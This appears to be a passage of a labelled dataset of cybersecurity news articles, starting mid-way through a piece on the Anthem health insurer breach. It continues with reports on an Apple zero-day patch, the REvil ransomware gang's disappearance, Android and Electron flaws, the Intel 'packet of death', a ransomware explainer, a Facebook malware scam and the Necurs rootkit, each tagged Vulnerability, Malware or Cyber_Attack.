Medical identity theft has become a booming business, according to security experts, who warned that the hackers' succeeded in penetrating Anthem's computer systems could use the stolen information to target other health care companies.

Over 90 percent of healthcare organizations reported they have had at least one data breach over the last two years, according to a survey of health care providers published last year by the Ponemon Institute, a privacy and data protection research firm.

4. CALIFORNIA CUSTOMER SUES ANTHEM
A California woman on Thursday accused Anthem of failing to properly secure and protect its customers' personal information, including usernames, birth dates, addresses and social security numbers. She seeks to represent all other customers who have been affected by this massive data breach.
""It appears that Anthem's security system did not involve encrypting Social Security numbers and birth dates –- two of the most valuable pieces of information that a thief can have,"" Susan Morris said in her complaint filed in federal court in Santa Ana, California.
Among other claims, Morris seeks damages for violations of California's unfair competition and data breach laws, Bloomberg reported. The case is Morris vs. Anthem Inc., 15-cv-00196, U.S. District Court, Central District of California (Santa Ana).

5. DEMAND OF LAWS TO BETTER PREVENT BREACHES
After falling for massive data breaches like Target, Home Depot,...and now Anthem hack, there is a need for more systemic changes in the laws in an attempt to prevent big hacks after hackers hit Anthem, the nation's second-largest health insurer.
""We're going to need federal legislation to address security issues to keep these huge hacks from happening,"" says Waldo Jaquith, who leads U.S. Open Data, which works with the public sector and private companies to better understand, store and share data.
Jaquith suggests setting minimal security requirements into the law — such as requirement of much stricter passwords and customer authentication. But, until there are more systemic changes, consumers are left quite helpless.

6. HOW TO PROTECT YOURSELF AFTER BREACH
The hack affected a wide array of Anthem brands, including Anthem Blue Cross; Anthem Blue Cross and Blue Shield; Blue Cross and Blue Shield of Georgia; Empire Blue Cross and Blue Shield; Amerigroup; Caremore; Unicare; Healthlink; and DeCare. So, if you have one of these plan, your personal data may have been taken by cyber crooks.

If you are a one of those affected customers, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, like in case of credit cards fraud. You may follow the following steps to protect yourself:
Monitor Your Accounts - Watch out if someone using your information don't ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen info can get through your security questions, including the last 4 digits of your social and street address. Also, watch for any unauthorized activity or transfers on your current financial accounts, those affected in the breach.
Sign Up for Credit Alerts and Identity Theft Protection for Free - The insurer company is offering free credit monitoring and identity protection services to all of its affected customers. So, you must sign up now, as these services will keep an eye on every unauthorised activities and send you alerts when someone else tries to use your identity. You can get further information on these measures at AnthemFacts.com.
File Your Taxes Early - According to Paige Hanson, Educational Programs Manager for LifeLock, an identity theft monitoring service, it only takes two pieces of information for a cyber thief to hook your tax refund by filing your taxes early and claiming it for themselves, and the data in the breach contained both. So, in order to avoid any such problems, file your taxes as early as possible.
Get Password Manager and Use Two Factor Authentication - The advice is common for all affected by data breaches — change your password and use best password manager to make sure you use a complex one, and don't use the same password or username across various websites. Also activate two-factor authentication for an extra layer of protection beyond your password.
Stay Vigilant - The last and foremost thing to protect against the breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.
""Your Social Security number is not going to change,"" said Gorup. ""This is going to stick with you for life.""
In case for any queries about Anthem data breach, the company has set up a dedicated website and a toll-free number (1-877-263-7995) for customers to access updates and ask questions related to the hack.

",Vulnerability
[eBook] 7 Signs You Might Need a New Detection and Response Tool,https://thehackernews.com/2021/06/ebook-7-signs-you-might-need-new.html,"It's natural to get complacent with the status quo when things seem to be working. The familiar is comfortable, and even if something better comes along, it brings with it many unknowns.
In cybersecurity, this tendency is countered by the fast pace of innovation and how quickly technology becomes obsolete, often overnight.
This combination usually results in one of two things – organizations make less than ideal choices about the software and tools they're adding, or security leaders simply cannot stay abreast of new developments and opt to stay put with their existing stack.
The problem is that once you let one update pass you by, you're suddenly miles behind. A new eBook from XDR provider Cynet (download here) offers insights into factors that are clear signs organizations need to upgrade their detection and response tools to stay with the times.
The eBook highlights several factors and questions that companies can ask themselves to determine whether they are okay with the level of security they have, or if they should upgrade their detection and response capabilities.
Looking for signs
There's a variety of reasons why an organization's detection and response tools might need a refresh, ranging from the critical to the less obvious.
One of the first signs, however, is clear for most organizations – the number of alerts they must sift through daily.
Today's security stacks produce thousands of alerts daily, forcing many teams to pick and choose which they can investigate and for how long. As a result, critical alerts are prioritized, but they only make up a small percentage of the total amount.
Ideally, an organization should explore every alert – even the false positives. The inability to cope with alerts, or simply reduce the number of alerts, is a clear indicator that organizations should upgrade their security stack.
The eBook also takes aim at security stacks and tools that require dozens of add-ons and extensions to operate adequately.
For many organizations, installing and setting up a new EDR includes the process of finding the extensions that offer the tools necessary. Even worse, in some cases, add-ons are required simply to provide baseline services. On the other hand, the eBook argues, XDRs come set up out of the box to provide all the tools and features necessary to offer full functionality.
Some of the other signs you might need a new detection and response tool include:
If only one person knows how to operate and manage an organization's EDR. Large security stacks have steep learning curves, and most organizations don't have the skills or resources to devote to training a whole team. So, a single person gets appointed to manage and orchestrate the security strategy. This is problematic for several reasons and is a key indicator a simplified tool such as an XDR can help.
If your existing EDR suddenly claims to have upgraded to XDR, without any notable changes. A side effect of a rapidly evolving industry is that every vendor wants to hop on the next big thing – in this case, XDR. Therefore, many vendors will claim to offer XDR or ""XDR-like"" capabilities without actually offering a noticeable improvement or even added functionality.
If you look longingly at deception technology, but can't afford it. Some tools are still not quite necessities, but they're valuable assets to have. The problem, as is the case with deception technology, is that it's costly and complicated to set up. On the other hand, a solution that has it included natively offers significant benefits.
You can learn more about indicators of whether you need a new detection and response tool here.

",Malware
"Apple Releases Urgent 0-Day Bug Patch for Mac, iPhone and iPad Devices",https://thehackernews.com/2021/07/apple-releases-urgent-0-day-bug-patch.html,"Apple on Monday rolled out an urgent security update for iOS, iPadOS, and macOS to address a zero-day flaw that it said may have been actively exploited, making it the thirteenth such vulnerability Apple has patched since the start of this year.
The updates, which arrive less than a week after the company released iOS 14.7, iPadOS 14.7, and macOS Big Sur 11.5 to the public, fixes a memory corruption issue (CVE-2021-30807) in the IOMobileFrameBuffer component, a kernel extension for managing the screen framebuffer, that could be abused to execute arbitrary code with kernel privileges.
The company said it addressed the issue with improved memory handling, noting it's ""aware of a report that this issue may have been actively exploited."" As is typically the case, additional details about the flaw have not been disclosed to prevent the weaponization of the vulnerability for additional attacks. Apple credited an anonymous researcher for discovering and reporting the vulnerability.
The timing of the update also raises questions about whether the zero-day had any role in compromising iPhones using NSO Group's Pegasus software, which has become the focus of a series of investigative reports that have exposed how the spyware tool turned mobile phones of journalists, human rights activists, and others into portable surveillance devices, granting complete access to sensitive information stored in them.
CVE-2021-30807 is also the thirteenth zero-day vulnerability addressed by Apple this year alone, including —
CVE-2021-1782 (Kernel) - A malicious application may be able to elevate privileges
CVE-2021-1870 (WebKit) - A remote attacker may be able to cause arbitrary code execution
CVE-2021-1871 (WebKit) - A remote attacker may be able to cause arbitrary code execution
CVE-2021-1879 (WebKit) - Processing maliciously crafted web content may lead to universal cross-site scripting
CVE-2021-30657 (System Preferences) - A malicious application may bypass Gatekeeper checks
CVE-2021-30661 (WebKit Storage) - Processing maliciously crafted web content may lead to arbitrary code execution
CVE-2021-30663 (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution
CVE-2021-30665 (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution
CVE-2021-30666 (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution
CVE-2021-30713 (TCC framework) - A malicious application may be able to bypass Privacy preferences
CVE-2021-30761 (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution
CVE-2021-30762 (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution
Given the public availability of a proof-of-concept (PoC) exploit, it's highly recommended that users move quickly to update their devices to the latest version to mitigate the risk associated with the flaw.

",Vulnerability
REvil Ransomware Gang Mysteriously Disappears After High-Profile Attacks,https://thehackernews.com/2021/07/revil-ransomware-gang-mysteriously.html,"REvil, the infamous ransomware cartel behind some of the biggest cyberattacks targeting JBS and Kaseya, has mysteriously disappeared from the dark web, leading to speculations that the criminal enterprise may have been taken down.
Multiple darknet and clearnet sites maintained by the Russia-linked cybercrime syndicate, including the data leak, extortion, and payment portals, remained inaccessible, displaying an error message ""Onionsite not found.""
The group's Tor network infrastructure on the dark web consists of one data leak blog site and 22 data hosting sites. It's not immediately clear what prompted the infrastructure to be knocked offline.
REvil is one of the most prolific ransomware-as-a-service (RaaS) groups that first appeared on the threat landscape in April 2019. It's an evolution of the GandCrab ransomware, which hit the underground markets in early 2018.
""If REvil has been permanently disrupted, it'll mark the end of a group which has been responsible for >360 attacks on the U.S. public and private sectors this year alone,"" Emsisoft's Brett Callow tweeted.
The sudden development comes close on the heels of a wide-scale supply chain ransomware attack aimed at technology services provider Kaseya, for which REvil (aka Sodinokibi) took responsibility for and demanded a $70 million ransom to unlock access to encrypted systems in exchange for a universal decryption key that would unlock all victims data.
The disastrous attack saw the ransomware gang encrypting approximately 60 managed service providers (MSPs) and over 1,500 downstream businesses using a zero-day vulnerability in the Kaseya VSA remote management software. In late May, REvil also masterminded the attack on the world's largest meat producer JBS, which ended up paying $11 million to the extortionists to recover from the incident.
The outage also coincides with U.S. President Joe Biden's phone call with Russian President Vladimir Putin last week, pressing the latter to take steps to disrupt ransomware groups operating in the country, while warning of retaliatory action to defend critical infrastructure.
""The situation is still unfolding, but evidence suggests REvil has suffered a planned, concurrent takedown of their infrastructure, either by the operators themselves or via industry or law enforcement action,"" FireEye Mandiant's John Hultquist told CNBC.
It appears that REvil's Happy Blog was taken offline around 1 AM EST on Tuesday, with vx-underground noting that the group's public-facing representative, Unknown, has not posted on popular hacking forums such as Exploit and XSS since July 8.
Subsequently, a representative for LockBit ransomware posted to the XSS Russian-speaking hacking forum that REvil's attack infrastructure received a government legal request, causing the servers to be dismantled. ""REvil is banned from XSS,"" vx-underground later added.
It's not uncommon for ransomware groups to go under the ground following highly publicized incidents. After the DarkSide gang targeted Colonial Pipeline in May, the operators announced plans to wind up its RaaS affiliate program for good, claiming that its servers had been seized by an unknown law enforcement agency, raising questions as to whether the group actually retired, or rebranded under a new name.
This theory was validated a few weeks later when the U.S. Department of Justice revealed last month that it was able to recover most of the money paid by Colonial Pipeline to the DarkSide group through an analysis of the bitcoin trails.
REvil's unexplained shutdown, in a similar fashion, may as well be a case of planned retirement, or a temporary setback, forcing it to seemingly disband only to eventually reassemble under a new identity so as to attract less attention, or a consequence of increased international scrutiny in the wake of the global ransomware crisis.
If it indeed turns out that the group has permanently shuttered operations, the move is bound to leave the group's targets in the lurch, with no viable means to negotiate ransoms and get hold of the decryption keys necessary to regain control of their systems, thus permanently locking them out of their data.
""I don't know what this means, but regardless, I'm happy!"" tweeted Katie Nickels, director of intelligence at Red Canary. ""If it's a government takedown - awesome, they're taking action. If the actors voluntarily went quiet - excellent, maybe they're scared.""

",Malware
Android vulnerability allows hackers to modify apps without breaking signatures,https://thehackernews.com/2013/07/android-vulnerability-allows-hackers-to.html,"Almost all Android handsets are vulnerable to a flaw that could allow hackers to seize control of a device to make calls, send texts, or build a mobile botnet, has been uncovered by Bluebox Security .i.e almost 900 million Android devices globally.

Or simply, The Flaw allow hackers to modify any legitimate and digitally signed application in order to transform it into a Trojan program that can be used to steal data or take control of the OS.

When an application is installed and a sandbox is created for it, Android records the application's digital signature and all subsequent updates for that application need to match its signature in order to verify that they came from the same author and anything without the signature certificate won't install or run on a user's device.

The vulnerability has existed since at least Android 1.6, which means that it potentially affects any Android device released during the last four years. Samsung's flagship Galaxy S4 has already been patched, so it is likely that manufacturers have quietly sprung into action.

Vulnerability is particularly dangerous because of the way many big-name companies have granted Android devices running on their networks additional privileges. After bypassing Android's app-signing model to take the place of such an app, rogue malware can obtain full access to Android system and all applications (and their data) currently installed.

""Depending on the type of application, a hacker can exploit the vulnerability for anything from data theft to creation of a mobile botnet,"" said Bluebox on the potential risks.

Bluebox disclosed the vulnerability to Google in February, but said that it was up to individual handset manufacturers to issue patches. Google hasn't responded to a request for comment.

However, Google has blocked distribution of apps exploiting the flaw in Google Play, although if user to is tricked into manually installing a malicious update for an app originally installed through Google Play, the app will be replaced and the new version will no longer interact with the app store.

",Vulnerability
Cyber Criminals Selling Millions of U.S military email addresses,https://thehackernews.com/2012/03/cyber-criminals-selling-millions-of-us.html,"Cyber Criminals Selling Millions of U.S military email addresses

Web based underground market service currently selling Millions of harvested U.S government and U.S military harvested emails addresses to potential spammers, and find out just how easy it is to purchase that kind of data within the cyber crime ecosystem.

Cyber criminals are getting more sophisticated in their scams and phishing schemes, which are designed to steal personal data and financial information. Spammers and virus creators are motivated by money and backed by organized crime on a global scale. They are also launching massive attacks on anti-spam organizations in an attempt to bring them down.

In respect to targeted malware attacks, the service is currently offering 2.462.935 U.S government email addresses, and another 2.178.000 U.S military email addresses. A Screenshot of the inventory of harvested emails currently offered for sale:

Spammers buy lists from brokers that continuously harvest email addresses from newsgroups, chat rooms, web sites, Internet directories, and more. Spammers also run dictionary attacks, throwing billions of combinations of words and numbers at an email database to find valid address combinations.

People are being tricked by email phishing scams that masquerade as legitimate business communications from their bank, mortgage provider, credit card company, PayPal, or eBay. Other popular spam-based Internet scams include foreign lotteries, investment schemes, chain letters, credit repair offers, advance-fee loan deals, check overpayment cons, and work-at-home ploys.

U.S government and U.S military users whose emails have been exposed are advised to be extra vigilant for potential targeted malware attacks enticing them into downloading and executing a malicious attachment, or attempting to trick them into clicking on a client-side exploits serving link found in the emails.

[Source]

",Malware
ZeuS Trojan variant Targets Salesforce accounts and SaaS Applications,https://thehackernews.com/2014/02/Salesforce-malware-attack-zeus-trojan.html,"Zeus, a financially aimed Banking Trojan that comes in many different forms and flavors, is capable to steal users' online-banking credentials once installed. This time, an infamous Zeus Trojan has turned out to be a more sophisticated piece of malware that uses web-crawling action.

Instead of going after Banking credentials and performing malicious keystroke logging, a new variant of Zeus Trojan focuses on Software-as-a-service (SaaS) applications for the purpose of obtaining access to proprietary data or code.

The SaaS Security firm vendor Adallom, detected a targeted malware attack campaign against a Salesforce.com customer, which began as an attack on an employee's home computer. Adallom found that the new variant had web crawling capabilities that were used to grab sensitive business data from that customer's CRM instance.

The Security firm noticed the attack when they saw about 2GB of data been downloaded to the victim's computer in less than 10 minutes. Furthermore, while Zeus usually hijacks the user session and performs wire transactions, this variant crawled the site and created a real time copy of the user's Salesforce.com instance that contained all the information from the company account.
""This looks like a targeted attack against the company, cleverly targeting the employee home instead of the enterprise – thus bypassing the company controls. This was probably just the first step, using the Zeus Web inject capabilities they could have used the same tactics as in the banking sites attacks and ask the user to enter more information regarding his company credentials or send out messages in his name,"" says Ami Luttwak, co-founder and CTO of Adallom.
Zeus Trojan is one of the most popular family of banking Trojan. Also in 2012, the FBI warned us about the 'GameOver' banking Trojan, a variant of Zeus financial malware that spreads via phishing emails.

GameOver makes fraudulent transactions from your bank once installed in your system with the capability to conduct Distributed Denial of Service, or DDoS, attack using a botnet, which involves multiple computers flooding the financial institution's server with traffic in an effort to deny legitimate users access to the site.

At the beginning of this year, Security researcher Gary Warner explains the behavior of the new variant of GameOver Zeus malware that uses Encryption to bypass perimeter security, in a blog post.

The attackers now bypassing traditional security measures and putting Zeus to use it against Salesforce.com and possibly other SaaS applications in a type of attack that Adallom refers to as ""land-mining"" and ""rolladexing"" to grab loads of business data and customer information.

The Adallom Labs team has yet to figure out exactly how these machines were infected and who are behind the cyber attack, so the matter is still being investigated by them.

",Malware
Everything You Need to Know About Evolving Threat of Ransomware,https://thehackernews.com/2021/02/everything-you-need-to-know-about.html,"The cybersecurity world is constantly evolving to new forms of threats and vulnerabilities. But ransomware proves to be a different animal—most destructive, persistent, notoriously challenging to prevent, and is showing no signs of slowing down.
Falling victim to a ransomware attack can cause significant data loss, data breach, operational downtime, costly recovery, legal consequences, and reputational damage.
In this story, we have covered everything you need to know about ransomware and how it works.
What is ransomware?
Ransomware is a malicious program that gains control over the infected device, encrypts files, and blocks user access to the data or a system until a sum of money, or ransom, is paid.
Crooks' scheme includes a ransom note—with amount and instructions on how to pay a ransom in return for the decryption key—or direct communication with the victim.
While ransomware impacts businesses and institutions of every size and type, attackers often target healthcare, education, IT, government, and finance sectors with deeper pockets—causing damages ranging from hundreds of millions to billions of dollars.
Ransomware attacks started picking up in 2012, and since then, it has become the most pervasive cyber-attacks across the world.
For instance, HelloKitty ransomware hit Polish video game developer CD Projekt Red last week with quite a popular tactic, i.e., attackers threatened the company to leak the source code of games, including Cyberpunk 2077, Witcher 3, Gwent, and along with confidential files in the company.
And it's actually happened! After CD Projekt announced that they would not be paying the ransom, attackers created an auction for the stolen data on a hacker forum.
And it isn't the only example. Ransomware has always been one of the most popular kinds of malicious samples uploaded in malware analysis sandbox ANY.RUN. Over 124,00 interactive sessions with ransomware were analyzed online only in 2020.
From a locker to the enterprise
One of the ways to protect from attacks is awareness. We believe it is a must for enterprise executives and employees to understand this type of threat.
In this article, we'll take a look at the history of ransomware:
The first ransomware
The first known ransomware attack was carried out in 1989 by an AIDS researcher, Joseph Popp, who distributed malicious 20,000 floppy disks to AIDS researchers spanning more than 90 countries, claiming that the disks contained a survey program. Since then, the ransomware threat has evolved a lot and acquired more features.
Locker ransomware
In 2007, Locker ransomware, a new category of ransomware malware, appeared that does not encrypt files; instead, it locks the victim out of their device, preventing them from using it.
Similar to this, WinLock demanded a $10 ransom for the unlocking code. Later, Citadel, Lyposit, and Reveton worm controlled a screen with a fine message from a fake law enforcement agency.
This typically takes the form of locking the computer's or device's user interface and then asking the user to pay a fee to restore access to it.
Scareware
In later years, attackers changed their strategy to capitalize on fear by spreading faking applications and antivirus (AV) programs. The attack involves a pop-up message displayed to victims saying that their computers have been infected with viruses. It lures victims to a website where they're asked for money to pay for software to fix the problem. Everything looked trustworthy: logos, color schemes, and other copyrighted materials.
From that moment, criminals understood that it was much easier to compromise several websites, focus on phishing, and get the whole process automated.
Crypto ransomware
In 2013, CryptoLocker emerged as the first cryptographic malware that typically arrives as an email attachment. The Gameover ZeuS botnet was responsible for these attacks. CryptoLocker encrypts files, and after that, a bitcoin payment was required to unlock them.
If the ransom wasn't received in 3 days, the ransom doubled. CryptorBit, CryptoDefense, CryptoWall, WannaCry enlarged decoy variations and even used system weaknesses to infect computers.
The latest step in that evolution is the arrival of ransomware-as-a-service, which first appeared in 2015 with the Tox toolkit launch. It gave would-be cybercriminals the option to develop custom ransomware tools with advanced evasion capabilities.
Enterprise ransomware
Ransomware attackers leveled up and went to the enterprise stage. They preferred to deal with large organizations and scare them of a possible outbreak.
For example, a target got an email with a threat of distributed denial-of-service (DDoS) attack. To avoid it, victims needed to pay a ransom.
One more case is the data compromise ransom. A criminal threatens a target to exploit compromised information to the public unless a ransom is paid. The following tactic is effective on the enterprise level, as companies don't want to put their reputation at stake.
Now it's clear that malware will continue to evolve. And maybe it will acquire hybrid attacks, including other malware families.
Attack in details
As we now know the history and types of ransomware, now it's time to understand how it works.
Deployment: In the first step, attackers distribute essential components used to infect, encrypt, or lock the system, downloaded without the user's knowledge, using phishing, or after exploiting targeted system flaws.
Installation: When the payload is downloaded, the next step is infection. The malware drops a small file that is often capable of defense evasion. The ransomware executes and attempts to gain persistence on the infected system by putting itself to autorun the registry keys, allowing remote attackers to control the system.
Command-and-Control: The malware then connects to the attackers' command and control (C2) server to receive instructions and, primarily, to deposit the asymmetric private encryption key out of the victim's reach.
Destruction: Once files get encrypted, the malware deletes original copies on the system, and the only way to restore them is to decrypt encoded files.
Extortion: Here come ransom notes. The victim gets to know that his data is compromised. The payment range varies according to the type of target. To confuse and scare a victim, attackers may delete several files from the computer. However, if a user pays the ransom, it isn't a guarantee that the information will be restored or ransomware itself will be deleted.
Popular families and operators
Several types of malware are famous in the ransomware world. Let's look through them and talk about popular operators that stand out in malware history:
1) GandCrab ransomware is one of the most notorious ransomware releases in the last few years that amassed nearly $2 billion in payments from its victims.
Believed to be a product of a Russian hacker group, GandCrab was discovered in 2018 as a part of Ransomware-as-a-Service (RaaS) sold to other cybercriminals.
Though GandCrab announced ""retirement"" in 2019, some researchers claim that it returned with a new strain, called Sodinokibi, with a similar codebase. Sodinokibi targets Microsoft Windows systems and encrypts all files except configuration files.
2) Next, Maze ransomware, which made headlines in the last two years, is known for releasing stolen data to the public if the victim does not pay to decrypt it.
It was the first ransomware attack that combined data encryption with information theft. Moreover, they threatened to make the data public if the ransom was not paid. When the COVID-19 started, Maze announced that they would leave hospitals alone. But later, they broke that promise as well.
In 2020 Maze announced they shut down its operations. But it's more likely that they just moved to another malware.
3) Netwalker used process hollowing and code obfuscation to target corporate victims. But in January 2021, law enforcement agencies teamed up against Netwalker and took over domains in a dark web used by malware actors.
4) Wannacry spreads autonomously from computer to computer using EternalBlue, an exploit supposedly developed by the NSA and then stolen by hackers.
It is the most uploaded type of ransomware in ANY.RUN service in 2020. It hit top malware with 1930 tasks. You can investigate them in the public submission library, search by the ""wannacry"" tag.
5) Avaddon's malspam usually contains the only smiley to lure users into downloading the attachment. The malware also checks the user's locale before infecting. If it is Russian or Cherokee, Avaddon doesn't encrypt systems.
6) Babuk is a new malware targeting enterprises in 2021. Babuk comprises secure encryption that makes it impossible to restore files for free.
Targets of ransomware attacks
There are several reasons attackers first choose what kind of organizations they want to target with ransomware:
Easy to evade defense. Universities, small companies that have small security teams are an easy target. File sharing and an extensive database make the penetration simple for attackers.
Possibility of a quick payment. Some organizations are forced to pay a ransom quickly. Government agencies or medical facilities often need immediate access to their data. Law firms and other organizations with sensitive data usually want to keep a compromise a secret.
And some ransomware spreads automatically, and anyone can become its victim.
The Rapid Growth of Ransomware
The main reason why this type of malware has become successful is the attacks that bring results to cybercriminals. Markets let crooks buy advanced ransomware for making money.
Malware authors provide several ways to pack the ransomware. Malicious software encrypts systems quickly and stealthily. As soon as the ransom is received, it is no challenge to cover the tracks. These points lead to a significant increase.
Now criminals go bald and expect to get hundreds or thousands of dollars as companies don't want to risk data loss and outages.
Ransomware distribution methods
Here are several ways of how ransomware spreads:
Email (spam)
Watering Hole attack
Malvertising
Exploit kits
USB and removable media
Ransomware as a service
Zero days
Ransomware analysis in ANY.RUN
Let's investigate a sample of ransomware together.
Here is a task with Sodinokibi malware. Thanks to ANY.RUN interactivity, we can follow the user's path:
First of all, we wait for the malicious program to finish file-encrypting on the disc. The distinguishable feature of Sodinokibi is the desktop wallpaper with text.
Then we open a text file on the desktop. Yes, we can interact with files and folders in the virtual Machine during the task execution.
There we can see instructions with the URL address. We can copy it and open it in the browser. On the new page, we need to enter the key; each key is unique for every infected Machine.
There is ours in the text file so that we can enter it. And then a page with the sum of the ransom payment appears and a countdown. Finally, we open the file with an image for test decryption and open it.
Prevention measures
2021 started with arrests of ransomware gangs. The Egregor hacker group has been taken down by French and Ukrainian police last week.
That is a good tendency that law enforcement agencies keep defeating malware actors. However, we need to be cautious and try to stop attacks, too.
To protect against ransomware, companies should have an elaborate plan against malware, including backup data. Since ransomware is very difficult to detect and fight, different protection mechanisms should be used.
ANY.RUN is one of them that helps to identify malware early and prevent infections. Besides that, the most important protection is the training of staff. They need to avoid any suspicious links or files. Employees who know that ransomware exists and how it works can detect such attacks.

",Cyber_Attack
Cyber Attack on The Iranian Oil Ministry's Computer Network,https://thehackernews.com/2012/04/cyber-attack-on-iranian-oil-ministrys.html,"Cyber Attack on The Iranian Oil Ministry's Computer Network

The Iranian oil ministry's computer network came under attack from hackers and a computer virus, prompting the Islamic Republic to disconnect the country's main oil export terminal from the internet as a preventative measure, a semiofficial news agency reported on Monday.

The Mehr News Agency, which is a semi-official arm of the Iranian government, reported Monday that the country's principal oil terminal on Kharg Island was disconnected from the Internet as part of the response to the attacks. Email systems associated with the targets were also pulled offline.

Iranian officials said the virus attack, which began in earnest Sunday afternoon, had not affected oil production or exports, since the industry was still primarily mechanical and does not rely on the Internet. Officials said they were disconnecting the oil terminals and possibly some other installations in an effort to combat the virus.

Cyberattacks by well-resourced, highly capable and relentless, usually state-sponsored attackers so called advanced persistent threats are growing. The best known example is Stuxnet, which was aimed at Iran's nuclear centrifuges and is widely believed to have been developed by the US or Israel, neither of which have confirmed their involvement.

The Iranian Students News Agency said that the virus, called ""wiper"" by its creator, had successfully erased information on hard disks at the Oil Ministry's headquarters, a hulking black glass skyscraper on Taleghani Street in central Tehran.

Hamdullah Mohammadnejad, the head of civil defence at the oil ministry, was reported as saying Iranian authorities had set up a crisis unit and were working out how to neutralise the attacks.

",Malware
Flaw in Intel Ethernet controller exposes to 'packet of death' attack,https://thehackernews.com/2013/02/flaw-in-intel-ethernet-controller.html,"The hardware qualification is a very important issue, recent vulnerabilities discovered in network appliances of various manufacturer have alerted security community once again on the necessity to validate the hardware especially for large consume product.

The last news is related to a vulnerability related to the Intel's 82574L Ethernet controller that expose equipment to risk of ""packet of death."" Attack.

Star2Star's chief technology officer Kristian Kielhofner identified the cause of the problems after customers experienced random crashes. Researchers at Star2Star after the analysis of lot traffic identified the cause of the problem in the format of a packet managed by a particular VoIP manufacturer.

But as yet it is unclear how widespread the problem is or how other Intel hardware is affected.

Kielhofner, wrote: ""The system and Ethernet interfaces would appear fine,"" ""and then after a random amount of traffic the interface would report a hardware error (lost communication with PHY) and lose link. Literally the link lights on the switch and interface would go out. It was dead.""

""Nothing but a power cycle would bring it back. Attempting to reload the kernel module or reboot the machine would result in a PCI scan error. The interface was dead until the machine was physically powered down and powered back on. In many cases, for our customers, this meant a truck roll.""

""Problem packets had just the right Call-ID, tags, and branches to cause the '2' in the ptime to line up with 0x47f.""

The problem is very insidious, Kielhofner's team was able to create packets and target them at particular systems.

""With a modified HTTP server configured to generate the data at byte value (based on headers, host, etc.) you could easily configure an HTTP 200 response to contain the packet of death - and kill client machines behind firewalls!""

Kielhofner has posted a test page that allows system admins to test to see if their devices are vulnerable, meantime his team is working with Intel to produce a fix for the bug.

Update: Intel has responded with an expanded technical explanation of the issue. Intel was made aware of this issue in September 2012 by the blogs author.

Douglas Boom from Intel said in a blog post, ""Intel root caused the issue to the specific vendor's mother board design where an incorrect EEPROM image was programmed during manufacturing. We communicated the findings and recommended corrections to the motherboard manufacturer.""

""It is Intel's belief that this is an implementation issue isolated to a specific manufacturer, not a design problem with the Intel 82574L Gigabit Ethernet controller.""

Whereas,Kristian Kielhofner said, ""However, I still don't believe this issue is completely isolated to this specific instance and one motherboard manufacturer. For one, I have received at least two confirmed reports from people who were able to reproduce this issue - my ""packet of death"" shutting down 82574L hardware from different motherboard manufacturers.""

",Vulnerability
Critical Flaw Hits Popular Windows Apps Built With Electron JS Framework,https://thehackernews.com/2018/01/electron-js-hacking.html,"A critical remote code execution vulnerability has been reported in Electron—a popular web application framework that powers thousands of widely-used desktop applications including Skype, Signal, Wordpress and Slack—that allows for remote code execution.

Electron is an open-source framework that is based on Node.js and Chromium Engine and allows app developers to build cross-platform native desktop applications for Windows, macOS and Linux, without knowledge of programming languages used for each platform.

The vulnerability, assigned as the number CVE-2018-1000006, affects only those apps that run on Microsoft Windows and register themselves as the default handler for a protocol like myapp://.
""Such apps can be affected regardless of how the protocol is registered, e.g. using native code, the Windows registry, or Electron's app.setAsDefaultProtocolClient API,"" Electron says in an advisory published Monday.
The Electron team has also confirmed that applications designed for Apple's macOS and Linux are not vulnerable to this issue, and neither those (including for Windows) that do not register themselves as the default handler for a protocol like myapp://.

The Electron developers have already released two new versions of their framework, i.e. 1.8.2-beta.4, 1.7.11, and 1.6.16 to address this critical vulnerability.

""If for some reason you are unable to upgrade your Electron version, you can append—as the last argument when calling app.setAsDefaultProtocolClient, which prevents Chromium from parsing further options,"" the company says.

End users can do nothing about this vulnerability; instead, developers using Electron JS framework have to upgrade their applications immediately to protect their user base.

Much details of the remote code execution vulnerability have not been disclosed yet, neither the advisory named any of the vulnerable apps (that make themselves the default protocol handler) for security reason.

We will update you as soon as any details about the flaw come out.

",Vulnerability
Facebook 'Watch naked video of friends' malware scam infects 2 million people,https://thehackernews.com/2014/03/facebook-watch-naked-video-of-friends.html,"We have seen a lot of Facebook malware and virus infections spreading through friends list, and this time a new clickjacking scam campaign is going viral on Facebook.

Hackers spam Facebook timeline with a friend's picture and ""See (Friend)'s naked video,"" or ""(Friend Name's) Private Video.""

The Picture appears to be uploaded by a friend and definitely, you might want to see some of your Facebook friends naked, But Beware! If you get curious and click, you will be redirected to a malicious website reports that your Flash Player is not working properly and needs to be re-installed.

But in actuality it will install a malware in your system and once approved, several disguised thing can happen to you. It further installs a malicious browser extension to spread the scam and steal users' photos.

""When the link is clicked, users are sent to a very realistic-looking mockup of a YouTube page, where the hackers will try to immediately install the Malware Trojan."" wltx reports.

So, Don't Click it! According to the report, 2 million Facebook users are already infected with the same malware campaign and unknowingly flood their friend's timeline will same campaign. Clicking on the message will automatically publish the same link on the victims Facebook wall potentially allowing friends to click on it.

Malware often takes advantage of the fact that you trust your friends. So, keep an eye on the links and messages from your friends, and if in doubt, ask them they actually sent you something or not.

The recent malware attacks are just a few examples of the dangers of using the social network Facebook. Stay safe by keeping your browser up-to-date and install operating system updates when they are released. Please ensure you share this news with your Facebook friends to make all of them aware of it.

",Malware
"Necurs Rootkit infect 83,427 machines in November",https://thehackernews.com/2012/12/necurs-rootkit-infect-83427-machines-in.html,"Rootkit named as ""Necurs"" infect 83,427 unique machines during the month of November 2012. It is a multi-purpose rootkits capable of posing a threat to both 32 and 64-bit Windows systems. Distributed via drive-by download on the websites that host the BlackHole exploit kit.
Like other rootkits it is able to hide itself from detection and also capable of downloading additional malware from outside. Attackers can maintain remote access to a machine this way in order to monitor activity, send spam or install scareware.

Rootkit also stop security applications from functioning and hence no detection. Microsoft list this as Trojan:Win32/Necurs.

Trojan:Win32/Necurs is a family of malware that work together to download additional malware and enable backdoor access and control of your computer. The malware can be installed on its own or alongside rogue security software, such as Rogue:Win32/Winwebsec.

The malware downloads itself into the folder ""%windir%\Installer\"", where is a unique number that identifies your computer, for example ""%windir%\Installer\{df3d9e18-342c-8c07-8dab-13e76d8b4322}"".

